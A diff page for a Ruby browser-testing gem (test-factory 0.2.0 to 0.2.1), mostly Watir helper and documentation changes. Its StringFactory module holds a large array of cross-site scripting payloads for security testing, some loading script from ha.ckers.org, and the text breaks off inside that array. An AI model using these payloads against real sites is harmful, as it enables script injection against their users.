test-factory 0.2.0 → 0.2.1

Sign up to get free protection for your applications and to get access to all the features.
data/README.md CHANGED
@@ -60,11 +60,11 @@ class BasePage < PageFactory
60
60
  def header_elements
61
61
  element(:main_menu_link) { |b| b.link(title: "Main Menu") }
62
62
  element(:logout) { |b| b.button(value: "Logout") }
63
- element(:administration) { |b| b.link(title: "Administration") }
63
+ element(:administration_link) { |b| b.link(title: "Administration") }
64
64
 
65
65
  action(:main_menu) { |p| p.main_menu_link.click }
66
66
  action(:provide_feedback) { |b| b.link(title: "Provide Feedback").click }
67
- action(:administration) { |p| p.administration.click }
67
+ action(:administration) { |p| p.administration_link.click }
68
68
  end
69
69
  end
70
70
  end
@@ -233,6 +233,7 @@ end
233
233
  CRUD methods in the data object.
234
234
  * See the gem_ext.rb file's discussion of the Watir `#fit` method for additional
235
235
  design pattern rules to follow.
236
+ * Please make an effort to follow the [Ruby Style Guidelines](http://www.caliban.org/ruby/rubyguide.shtml#style).
236
237
 
237
238
  Notice
238
239
  ------
@@ -36,6 +36,7 @@ class Time
36
36
  # Wed Apr 21 00:45:59 EDT 2004,
37
37
  # Wed Apr 21 01:02:47 EDT 2004,
38
38
  # Wed Apr 21 01:31:00 EDT 2004]
39
+ #
39
40
  def self.random(params={})
40
41
  years_back = params[:year_range] || 5
41
42
  year = (rand * (years_back)).ceil + (Time.now.year - years_back)
@@ -57,16 +58,19 @@ module Enumerable
57
58
 
58
59
  # Use for getting a natural sort order instead of the ASCII
59
60
  # sort order.
61
+ #
60
62
  def alphabetize
61
63
  sort { |a, b| grouped_compare(a, b) }
62
64
  end
63
65
 
64
66
  # Use for sorting an Enumerable object in place.
67
+ #
65
68
  def alphabetize!
66
69
  sort! { |a, b| grouped_compare(a, b) }
67
70
  end
68
71
 
69
72
  private
73
+
70
74
  def grouped_compare(a, b)
71
75
  loop {
72
76
  a_chunk, a = extract_alpha_or_number_group(a)
@@ -4,6 +4,7 @@ module DataFactory
4
4
  # Add this to the bottom of your Data Object's initialize method.
5
5
  # Converts the contents of the hash into the class's instance variables.
6
6
  # @param hash [Hash] Contains all options required for creating the needed Data Object
7
+ #
7
8
  def set_options(hash)
8
9
  hash.each do |key, value|
9
10
  instance_variable_set("@#{key}", value)
@@ -12,8 +13,7 @@ module DataFactory
12
13
  alias update_options set_options
13
14
 
14
15
  # Items passed to this method are checked to ensure that the associated class instance variable
15
- # is not nil. If it is, the script is aborted and an error is thrown, describing what information
16
- # the Data Object requires before the script can run.
16
+ # is not nil. If it is, the script is aborted and an error is thrown.
17
17
  # @param elements [Array] the list of items that are required.
18
18
  #
19
19
  # @example
@@ -32,23 +32,51 @@ module DataFactory
32
32
  # be passed directly as methods for updating or validating the checkbox later.
33
33
  #
34
34
  # @param checkbox [Watir::CheckBox] The checkbox on the page that you want to inspect
35
+ #
35
36
  def checkbox_setting(checkbox)
36
37
  checkbox.set? ? :set : :clear
37
38
  end
38
39
  alias radio_setting checkbox_setting
39
40
 
40
- # Use this method in your data object class for select list boxes that will have
41
- # default values you may be interested in. The method will either set the select
42
- # box to the value specified, or, if no value exists for the given instance variable in your
43
- # data object, it will get the value from the UI and set the data object's
44
- # variable to that value. Note that this only supports select lists that allow
45
- # a single selection.
46
- # @param inst_var_sym [Symbol] A Symbol that _must_ match the instance variable that will either be set or be used to update the page
41
+ # This is a specialized method for use with any select list boxes
42
+ # that exist in the site you're testing and will contain
43
+ # unpredictable default values.
44
+ #
45
+ # Admittedly, this is a bit unusual, but one example would be
46
+ # be a "due date" list that changes its default selection based
47
+ # on today's date. You're going to want to do one of two things
48
+ # with that select list:
49
+ #
50
+ # 1) Retrieve and store the select list's value
51
+ # 2) Specify a custom value to select
52
+ #
53
+ # Enter: #get_or_select!
54
+ #
55
+ # Assuming you just want to store the default value, then your
56
+ # Data Object's instance variable for the field will--initially--be
57
+ # nil. In that case, #get_or_select! will grab the select list's
58
+ # current value and store it in your instance variable.
59
+ #
60
+ # On the other hand, if you want to update that field with your
61
+ # custom value, then your instance variable will not be nil, so
62
+ # #get_or_select! will take that value and use it to update the
63
+ # select list.
64
+ #
65
+ # Note that this method *only* works with select lists that take
66
+ # a single selection. Multi-selects are not supported.
67
+ #
68
+ # Also note that the first parameter is *not* the instance variable
69
+ # you need to use/update. It is a *symbol* that otherwise matches
70
+ # the instance variable.
71
+ #
72
+ # @param inst_var_sym [Symbol] A Symbol that _must_ match the instance variable that
73
+ # will either be set or be used to update the page
47
74
  # @param select_list [Watir::Select] The relevant select list element on the page
48
75
  #
49
76
  # @example
50
77
  #
51
78
  # get_or_select! :@num_resubmissions, page.num_resubmissions
79
+ #
52
80
  def get_or_select!(inst_var_sym, select_list)
53
81
  value = instance_variable_get inst_var_sym
54
82
  if value==nil
@@ -60,17 +88,20 @@ module DataFactory
60
88
 
61
89
  # This method accomplishes the same thing as #get_or_select! but
62
90
  # is used specifically when the instance variable being used/updated
63
- # is a Hash. Pay close attention to the syntax differences between
64
- # this method and @get_or_select!
91
+ # is a Hash and you only need to update one of its key/value pairs.
92
+ #
93
+ # Pay close attention to the syntax differences between
94
+ # this method and #get_or_select!
65
95
  #
66
- # First, note that the returned value of this method must be
67
- # passed to the relevant key in the Hash. Note also that unlike
68
- # #get_or_select!, this method does not take a symbol representation
96
+ # First, note that the returned value of this method must be explicitly
97
+ # passed to the relevant key in the Hash instance variable. Note also that, unlike
98
+ # #get_or_select!, this method does *not* take a symbolized representation
69
99
  # of the instance variable.
70
100
  #
71
101
  # @example
72
102
  #
73
103
  # @open[:day] = get_or_select(@open[:day], page.open_day)
104
+ #
74
105
  def get_or_select(hash_inst_var, select_list)
75
106
  if hash_inst_var==nil
76
107
  select_list.selected_options[0].text
@@ -7,25 +7,28 @@ module DateFactory
7
7
  # various parts of the relevant date.
8
8
  # @param time_object [Time] the moment you want to convert
9
9
  # @returns [Hash] a hash object containing various parts of the date/time you passed to the method
10
+ #
10
11
  def date_factory(time_object)
11
12
  {
12
- :sakai=>make_date(time_object),
13
- :sakai_rounded=>make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
14
- :short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
15
- :samigo=>time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
16
- :MON => time_object.strftime("%^b"), # => "DEC"
17
- :Mon => time_object.strftime("%b"), # => "Jan"
18
- :Month => time_object.strftime("%B"), # => "February"
19
- :month_int => time_object.month, # => 3
20
- :day_of_month => time_object.day, # => 17 Note this is not zero-padded
21
- :weekday => time_object.strftime("%A"), # => "Monday"
22
- :wkdy => time_object.strftime("%a"), # => "Tue"
23
- :year => time_object.year, # => 2013
24
- :hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
25
- :minute => (time_object).strftime("%M"), # => "02" Zero-padded
26
- :minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
27
- :meridian => time_object.strftime("%P"), # => "pm"
28
- :MERIDIAN => time_object.strftime("%p") # => "AM"
13
+ sakai: make_date(time_object),
14
+ sakai_rounded: make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
15
+ short_date: time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
16
+ samigo: time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
17
+ MON: time_object.strftime("%^b"), # => "DEC"
18
+ Mon: time_object.strftime("%b"), # => "Jan"
19
+ Month: time_object.strftime("%B"), # => "February"
20
+ month_int: time_object.month, # => 3
21
+ day_of_month: time_object.day, # => 17 Note this is not zero-padded
22
+ weekday: time_object.strftime("%A"), # => "Monday"
23
+ wkdy: time_object.strftime("%a"), # => "Tue"
24
+ year: time_object.year, # => 2013
25
+ hour: time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
26
+ minute: time_object.strftime("%M"), # => "02" Zero-padded
27
+ minute_rounded: (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
28
+ meridian: time_object.strftime("%P"), # => "pm"
29
+ MERIDIAN: time_object.strftime("%p"), # => "AM"
30
+ date_w_slashes: time_object.strftime("%m/%d/%Y"), # => 02/08/2013
31
+ custom: time_object # => Allows creation of a custom date string using the passed time value.
29
32
  }
30
33
  end
31
34
 
@@ -71,6 +74,7 @@ module DateFactory
71
74
  # the count of minutes as the parameter, and
72
75
  # returns the date_factory hash for the
73
76
  # resulting Time value.
77
+ #
74
78
  def minutes_ago(mins)
75
79
  date_factory(Time.now - mins*60)
76
80
  end
@@ -82,6 +86,7 @@ module DateFactory
82
86
  # Returns the current month as an
83
87
  # upper-case 3-letter string.
84
88
  # example: "JUL"
89
+ #
85
90
  def current_month
86
91
  Time.now.strftime("%^b")
87
92
  end
@@ -126,6 +131,7 @@ module DateFactory
126
131
  #
127
132
  # @param time_object [Time] the moment that you want converted to the string
128
133
  # @returns [String] a date formatted to look like this: Jun 8, 2012 12:02 pm
134
+ #
129
135
  def make_date(time_object)
130
136
  month = time_object.strftime("%b ")
131
137
  day = time_object.strftime("%-d")
@@ -6,6 +6,7 @@ module Foundry
6
6
  # code that you specify.
7
7
  # @param page_class [Class] the name of the page class that you want to instantiate
8
8
  # @param &block [C] this is the block of code that you want to run while on the given page
9
+ #
9
10
  def visit page_class, &block
10
11
  on page_class, true, &block
11
12
  end
@@ -15,6 +16,7 @@ module Foundry
15
16
  # @param page_class [Class] the name of the page class that you want to instantiate
16
17
  # @param visit [TrueClass, FalseClass] Essentially you will never have to specify this explicitly
17
18
  # @param &block [C] this is the block of code that you want to run while on the given page
19
+ #
18
20
  def on page_class, visit=false, &block
19
21
  @current_page = page_class.new @browser, visit
20
22
  block.call @current_page if block
@@ -26,6 +28,7 @@ module Foundry
26
28
  #
27
29
  # @param data_object_class [Class] The name of the class you want to use to build a data object for testing
28
30
  # @param opts [Hash] The list of attributes you want to give to your data object
31
+ #
29
32
  def make data_object_class, opts={}
30
33
  data_object_class.new @browser, opts
31
34
  end
@@ -35,6 +38,7 @@ module Foundry
35
38
  # combining the make with the create. Of course, this
36
39
  # requires that your data object classes properly follow the design
37
40
  # pattern and have a #create method available.
41
+ #
38
42
  def create data_object_class, opts={}
39
43
  data_object = make data_object_class, opts
40
44
  data_object.create
@@ -50,6 +54,7 @@ module Foundry
50
54
  #
51
55
  # @example
52
56
  # page.wait_until { |b| b.processing_message=="Done" }
57
+ #
53
58
  def wait_until(timeout=30, message=nil, &block)
54
59
  Object::Watir::Wait.until(timeout, message, &block)
55
60
  end
@@ -62,7 +62,10 @@
62
62
  # # ...
63
63
  # end
64
64
  #
65
- # Now, let's take that same code, but this time use the +#fit+ method, assume that
65
+ # That's just nasty! Your Page Class has two element definitions that are nearly identical.
66
+ # And the nested conditional in the Data Object's #edit method hurts the eyes!
67
+ #
68
+ # Now, let's take that same code, but this time use the +#fit+ method. We'll assume that
66
69
  # the data object's +@option+ instance variable will be +:set+, +:clear+, or +nil+, and
67
70
  # end the +#edit+ with the DataFactory's +#set_options+ helper method...
68
71
  #
@@ -87,6 +90,8 @@
87
90
  # # ...
88
91
  # end
89
92
  #
93
+ # Much cleaner!
94
+ #
90
95
  # If you absolutely _must_ have your data object's instance variable be something
91
96
  # other than +:set+ or +:clear+, then consider writing a private transform method
92
97
  # in your data object class, like this:
@@ -106,6 +111,7 @@ module Watir
106
111
  # Use when the argument you are passing to a text field
107
112
  # may be nil, in which case you don't
108
113
  # want to do anything with the page element.
114
+ #
109
115
  def fit(args)
110
116
  unless args==nil
111
117
  assert_exists
@@ -118,13 +124,49 @@ module Watir
118
124
  end
119
125
 
120
126
  class Select
127
+
121
128
  # Extends Watir's methods.
122
129
  # Use when the argument you are passing to a text field
123
130
  # may be nil, in which case you don't
124
131
  # want to do anything with the page element.
132
+ # @example
133
+ # page.select_list.fit @my_selection
134
+ #
125
135
  def fit(str_or_rx)
126
136
  select_by :text, str_or_rx unless str_or_rx==nil
127
137
  end
138
+
139
+ # Allows you to select an item from a selection list
140
+ # at random. It returns the selected item so that
141
+ # the data object's class instance variable will
142
+ # have the correct value.
143
+ #
144
+ # In other words, proper use of this method involves
145
+ # setting the associated class instance variable
146
+ # with it, like so...
147
+ # @example
148
+ # @my_selection=page.select_list.pick @my_selection
149
+ #
150
+ def pick(item)
151
+ if item==:random
152
+ select_at_random
153
+ else
154
+ fit item
155
+ item
156
+ end
157
+ end
158
+
159
+ private
160
+
161
+ def select_at_random
162
+ text_array = []
163
+ options.each { |opt| text_array << opt.text }
164
+ text_array.delete_if { |text| text=="select" }
165
+ text_array.shuffle!
166
+ select text_array[0]
167
+ text_array[0]
168
+ end
169
+
128
170
  end
129
171
 
130
172
  end
@@ -1,10 +1,12 @@
1
1
  # The PageFactory class provides a set of methods that allow the rapid creation of page element definitions--known
2
2
  # colloquially as "page objects". These elements are defined using Watir syntax. Please see www.watir.com if you are
3
3
  # not familiar with Watir.
4
+ #
4
5
  class PageFactory
5
6
 
6
7
  # As the PageFactory will be the superclass for all your page classes, having this initialize
7
8
  # method here means it's only written once.
9
+ #
8
10
  def initialize browser, visit = false
9
11
  @browser = browser
10
12
  goto if visit
@@ -15,6 +17,7 @@ class PageFactory
15
17
  # Catches any "missing" methods and passes them to the browser object--which means
16
18
  # that Watir will take care of parsing them, so the assumption is that the method being
17
19
  # passed is a valid method for the browser object.
20
+ #
18
21
  def method_missing sym, *args, &block
19
22
  @browser.send sym, *args, &block
20
23
  end
@@ -23,6 +26,7 @@ class PageFactory
23
26
 
24
27
  # Define this in a page class and when you use the "visit" method to instantiate the class
25
28
  # it will enter the URL in the browser's address bar.
29
+ #
26
30
  def page_url url
27
31
  define_method 'goto' do
28
32
  @browser.goto url
@@ -32,6 +36,7 @@ class PageFactory
32
36
  # Define this in a page class and when that class is instantiated it will wait until that
33
37
  # element appears on the page before continuing with the script.
34
38
  # @param element_name [Symbol] The method name of the element that must be present on the page
39
+ #
35
40
  def expected_element element_name, timeout=30
36
41
  define_method 'expected_element' do
37
42
  self.send(element_name).wait_until_present timeout
@@ -42,6 +47,7 @@ class PageFactory
42
47
  # the browser's title matches the expected title. If there isn't a match, it raises an
43
48
  # error and halts the script.
44
49
  # @param expected_title [String] The exact text that is expected to appear in the Browser title when the page loads
50
+ #
45
51
  def expected_title expected_title
46
52
  define_method 'has_expected_title?' do
47
53
  has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
@@ -56,6 +62,7 @@ class PageFactory
56
62
  # @example
57
63
  # element(:title) { |b| b.text_field(:id=>"title-id") }
58
64
  # value(:page_header) { |b| b.h3(:class=>"page_header").text }
65
+ #
59
66
  def element element_name
60
67
  raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
61
68
  define_method element_name.to_s do
@@ -88,6 +95,7 @@ class PageFactory
88
95
  #
89
96
  # @example
90
97
  # link("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_link
98
+ #
91
99
  def link(link_text)
92
100
  element(damballa(link_text+"_link")) { |b| b.link(:text=>link_text) }
93
101
  action(damballa(link_text)) { |b| b.link(:text=>link_text).click }
@@ -105,6 +113,7 @@ class PageFactory
105
113
  #
106
114
  # @example
107
115
  # button("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_button
116
+ #
108
117
  def button(button_text)
109
118
  element(damballa(button_text+"_button")) { |b| b.button(:value=>button_text) }
110
119
  action(damballa(button_text)) { |b| b.button(:value=>button_text).click }
@@ -112,6 +121,7 @@ class PageFactory
112
121
 
113
122
  # A helper method that converts the passed string into snake case. See the StringFactory
114
123
  # module for more info.
124
+ #
115
125
  def damballa(text)
116
126
  StringFactory::damballa(text)
117
127
  end
@@ -7,6 +7,7 @@ module StringFactory
7
7
  # from 33 to 128. Default length is 10 characters.
8
8
  # @param length [Integer] The count of characters in the string
9
9
  # @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
10
+ #
10
11
  def random_string(length=10, s="")
11
12
  length.enum_for(:times).inject(s) do |result, index|
12
13
  s << rand(93) + 33
@@ -17,6 +18,7 @@ module StringFactory
17
18
  # from 33 to 256. Default length is 10 characters.
18
19
  # @param length [Integer] The count of characters in the string
19
20
  # @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
21
+ #
20
22
  def random_high_ascii(length=10, s="")
21
23
  length.enum_for(:times).inject(s) do |result, index|
22
24
  s << rand(223) + 33
@@ -26,6 +28,7 @@ module StringFactory
26
28
  # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
27
29
  # Uses no Reserved or "Unsafe" characters.
28
30
  # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
31
+ #
29
32
  def random_nicelink(length=10)
30
33
  chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
31
34
  (0...length).map { chars[rand(chars.size)]}.join
@@ -34,6 +37,7 @@ module StringFactory
34
37
  # Returns a string that is properly formatted like an email address.
35
38
  # The string returned defaults to 268 characters long.
36
39
  # @param x [Integer] This is not the length of the whole string, but only of the "name" portion of the email, minus 2.
40
+ #
37
41
  def random_email(x=62)
38
42
  x > 62 ? x=62 : x=x
39
43
  chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
@@ -44,6 +48,7 @@ module StringFactory
44
48
  # available on an American Qwerty keyboard.
45
49
  # @param length [Integer] The count of characters in the string
46
50
  # @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
51
+ #
47
52
  def random_alphanums_plus(length=10, s="")
48
53
  chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $ % ^ & * ( ) _ + - = { } [ ] \\ : " ; ' < > ? , . / }
49
54
  length.times { s << chars[rand(chars.size)] }
@@ -53,6 +58,7 @@ module StringFactory
53
58
  # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
54
59
  # @param length [Integer] The count of characters in the string
55
60
  # @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
61
+ #
56
62
  def random_alphanums(length=10, s="")
57
63
  chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
58
64
  length.times { s << chars[rand(chars.size)] }
@@ -62,6 +68,7 @@ module StringFactory
62
68
  # A random string generator that uses only lower case letters.
63
69
  # @param length [Integer] The count of characters in the string
64
70
  # @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
71
+ #
65
72
  def random_letters(length=10, s="")
66
73
  chars = 'abcdefghjkmnpqrstuvwxyz'
67
74
  length.times { s << chars[rand(chars.size)] }
@@ -81,6 +88,7 @@ module StringFactory
81
88
  # :string => uses the #random_string method, so chars 33 through 128 will be included
82
89
  # :ascii => All ASCII chars from 33 to 256 are fair game -> uses #random_high_ascii
83
90
  # :lorem => Will generate a pseudo-lorem-ipsum block of text using the LATIN_VOCABULARY constant as the source
91
+ #
84
92
  def random_multiline(word_count=2, line_count=2, char_type=:alpha)
85
93
  char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)", :lorem=>"LATIN_VOCABULARY[rand(LATIN_VOCABULARY.length)]"}
86
94
  if line_count > word_count
@@ -106,6 +114,7 @@ module StringFactory
106
114
  # The strings are organized by length, with the shorter ones
107
115
  # first. There are 102 strings.
108
116
  # @param number [Integer] Should be a number between 1 and 102
117
+ #
109
118
  def random_xss_string(number=102)
110
119
  number > 102 ? number = 102 : number
111
120
  xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv 